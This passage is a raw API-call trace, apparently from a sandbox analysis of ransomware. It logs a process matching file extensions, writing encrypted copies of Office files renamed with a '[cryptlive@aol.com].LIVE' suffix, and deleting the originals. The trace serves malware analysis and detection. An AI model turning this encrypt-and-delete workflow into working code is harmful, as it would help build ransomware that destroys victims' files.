(lpString1=".xlsx", lpString2="K.CFG") returned -1 [0161.571] lstrlenW (lpString=".ppt") returned 4 [0161.571] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0161.571] lstrlenW (lpString=".zip") returned 4 [0161.571] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.571] lstrlenW (lpString=".rar") returned 4 [0161.571] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.571] lstrlenW (lpString=".bz2") returned 4 [0161.571] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.571] lstrlenW (lpString=".7z") returned 3 [0161.571] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0161.571] lstrlenW (lpString=".dbf") returned 4 [0161.571] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0161.571] lstrlenW (lpString=".1cd") returned 4 [0161.571] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG") returned 62 [0161.571] lstrlenW (lpString=".jpg") returned 4 [0161.571] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.571] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0161.571] lstrlenW (lpString="TASKDEC.CFG") returned 11 [0161.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0161.600] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=807) returned 1 [0161.600] CloseHandle (hObject=0x1fc) returned 1 [0161.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg")) returned 0x20 [0161.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0161.600] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.600] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.601] GetLastError () returned 0x0 [0161.601] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x327, lpOverlapped=0x0) returned 1 [0161.622] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x330, lpOverlapped=0x0) returned 1 [0161.623] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.623] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0161.623] SetEndOfFile (hFile=0x3b4) returned 1 [0161.623] CloseHandle (hObject=0x3b4) returned 1 [0161.623] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.623] SetEndOfFile (hFile=0x1fc) returned 1 [0161.625] CloseHandle (hObject=0x1fc) returned 1 [0161.626] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg")) returned 1 [0161.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0161.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0161.627] lstrlenW (lpString=".doc") returned 4 [0161.627] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.627] lstrlenW (lpString=".docx") returned 5 [0161.627] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0161.627] lstrlenW (lpString=".pdf") returned 4 [0161.627] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.627] lstrlenW (lpString=".xls") returned 4 [0161.627] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.627] lstrlenW (lpString=".xlsx") returned 5 [0161.627] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0161.627] lstrlenW (lpString=".ppt") returned 4 [0161.627] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0161.627] lstrlenW (lpString=".zip") returned 4 [0161.627] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.627] lstrlenW (lpString=".rar") returned 4 [0161.627] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.627] lstrlenW (lpString=".bz2") returned 4 [0161.627] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.628] lstrlenW (lpString=".7z") returned 3 [0161.628] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0161.628] lstrlenW (lpString=".dbf") returned 4 [0161.628] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0161.628] lstrlenW (lpString=".1cd") returned 4 [0161.628] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0161.628] lstrlenW (lpString=".jpg") returned 4 [0161.628] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0161.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0161.628] lstrlenW (lpString=".doc") returned 4 [0161.628] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0161.628] lstrlenW (lpString=".docx") returned 5 [0161.628] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0161.628] lstrlenW (lpString=".pdf") returned 4 [0161.628] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0161.628] lstrlenW (lpString=".xls") returned 4 [0161.628] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0161.628] lstrlenW (lpString=".xlsx") returned 5 [0161.628] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0161.628] lstrlenW (lpString=".ppt") returned 4 [0161.628] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0161.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0161.628] lstrlenW (lpString=".zip") returned 4 [0161.628] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0161.628] lstrlenW (lpString=".rar") returned 4 [0161.628] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0161.628] lstrlenW (lpString=".bz2") returned 4 [0161.628] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0161.628] lstrlenW (lpString=".7z") returned 3 [0161.629] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0161.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0161.629] lstrlenW (lpString=".dbf") returned 4 [0161.629] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0161.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0161.629] lstrlenW (lpString=".1cd") returned 4 [0161.629] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0161.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG") returned 65 [0161.629] lstrlenW (lpString=".jpg") returned 4 [0161.629] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0161.629] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0161.629] lstrlenW (lpString="TASKDECL.ICO") returned 12 [0161.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0161.631] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1078) returned 1 [0161.631] CloseHandle (hObject=0x1fc) returned 1 [0161.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico")) returned 0x20 [0161.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0161.631] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.631] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.632] GetLastError () returned 0x0 [0161.632] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x436, lpOverlapped=0x0) returned 1 [0161.925] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x440, lpOverlapped=0x0) returned 1 [0161.926] ReadFile (in: hFile=0x1fc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0161.926] WriteFile (in: hFile=0x3b4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0161.926] SetEndOfFile (hFile=0x3b4) returned 1 [0161.926] CloseHandle (hObject=0x3b4) returned 1 [0161.926] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.926] SetEndOfFile (hFile=0x1fc) returned 1 [0161.929] CloseHandle (hObject=0x1fc) returned 1 [0161.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0161.929] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico")) returned 1 [0161.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0161.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0161.930] lstrlenW (lpString=".doc") returned 4 [0161.930] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.930] lstrlenW (lpString=".docx") returned 5 [0161.930] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.930] lstrlenW (lpString=".pdf") returned 4 [0161.930] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.930] lstrlenW (lpString=".xls") returned 4 [0161.930] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.930] lstrlenW (lpString=".xlsx") returned 5 [0161.930] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.930] lstrlenW (lpString=".ppt") returned 4 [0161.930] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0161.931] lstrlenW (lpString=".zip") returned 4 [0161.931] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.931] lstrlenW (lpString=".rar") returned 4 [0161.931] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.931] lstrlenW (lpString=".bz2") returned 4 [0161.931] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.931] lstrlenW (lpString=".7z") returned 3 [0161.931] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0161.931] lstrlenW (lpString=".dbf") returned 4 [0161.931] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0161.931] lstrlenW (lpString=".1cd") returned 4 [0161.931] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0161.931] lstrlenW (lpString=".jpg") returned 4 [0161.931] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0161.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0161.931] lstrlenW (lpString=".doc") returned 4 [0161.931] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0161.931] lstrlenW (lpString=".docx") returned 5 [0161.931] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0161.931] lstrlenW (lpString=".pdf") returned 4 [0161.931] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0161.931] lstrlenW (lpString=".xls") returned 4 [0161.931] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0161.931] lstrlenW (lpString=".xlsx") returned 5 [0161.931] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0161.931] lstrlenW (lpString=".ppt") returned 4 [0161.931] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0161.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0161.931] lstrlenW (lpString=".zip") returned 4 [0161.931] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0161.931] lstrlenW (lpString=".rar") returned 4 [0161.931] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0161.932] lstrlenW (lpString=".bz2") returned 4 [0161.932] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0161.932] lstrlenW (lpString=".7z") returned 3 [0161.932] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0161.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0161.932] lstrlenW (lpString=".dbf") returned 4 [0161.932] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0161.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0161.932] lstrlenW (lpString=".1cd") returned 4 [0161.932] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0161.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO") returned 66 [0161.932] lstrlenW (lpString=".jpg") returned 4 [0161.932] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0161.932] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0161.932] lstrlenW (lpString="TASKUPD.CFG") returned 11 [0161.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0161.933] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=806) returned 1 [0161.933] CloseHandle (hObject=0x1fc) returned 1 [0161.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg")) returned 0x20 [0161.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0161.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0161.933] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.933] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0161.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKUPD.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskupd.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 57 os_tid = 0x66c [0126.700] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x39e1cb8 [0126.701] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x39f1cc0 [0126.701] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d02f0 [0126.701] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x93ed78 [0126.701] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0308 [0126.701] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3dc0020 [0126.701] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0320 [0126.701] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0320, Size=0x20) returned 0x39c0b78 [0126.702] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0320 [0126.702] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d0320, Size=0x20) returned 0x39c0b50 [0126.702] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0126.702] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0126.702] Wow64DisableWow64FsRedirection (in: OldValue=0x314ff58 | out: OldValue=0x314ff58*=0x0) returned 1 [0126.702] lstrlenW (lpString="kernel32.dll") returned 12 [0126.702] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39c0b78 | out: hHeap=0x880000) returned 1 [0126.702] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.702] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39c0b50 | out: hHeap=0x880000) returned 1 [0126.702] Sleep (dwMilliseconds=0x64) [0127.221] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0127.221] lstrlenW (lpString="Alphabet.xml") returned 12 [0127.221] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0127.365] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=791686) returned 1 [0127.365] CloseHandle (hObject=0x1f0) returned 1 [0127.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0127.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0127.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0127.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0127.365] lstrlenW (lpString=".doc") returned 4 [0127.365] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0127.365] lstrlenW (lpString=".docx") returned 5 [0127.365] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0127.365] lstrlenW (lpString=".pdf") returned 4 [0127.365] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0127.365] lstrlenW (lpString=".xls") returned 4 [0127.365] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0127.365] lstrlenW (lpString=".xlsx") returned 5 [0127.365] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0127.366] lstrlenW (lpString=".ppt") returned 4 [0127.366] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0127.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0127.366] lstrlenW (lpString=".zip") returned 4 [0127.366] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0127.366] lstrlenW (lpString=".rar") returned 4 [0127.366] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0127.366] lstrlenW (lpString=".bz2") returned 4 [0127.366] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0127.366] lstrlenW (lpString=".7z") returned 3 [0127.366] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0127.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0127.366] lstrlenW (lpString=".dbf") returned 4 [0127.366] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0127.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0127.366] lstrlenW (lpString=".1cd") returned 4 [0127.366] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0127.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0127.366] lstrlenW (lpString=".jpg") returned 4 [0127.366] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0127.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0127.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0127.366] lstrlenW (lpString=".doc") returned 4 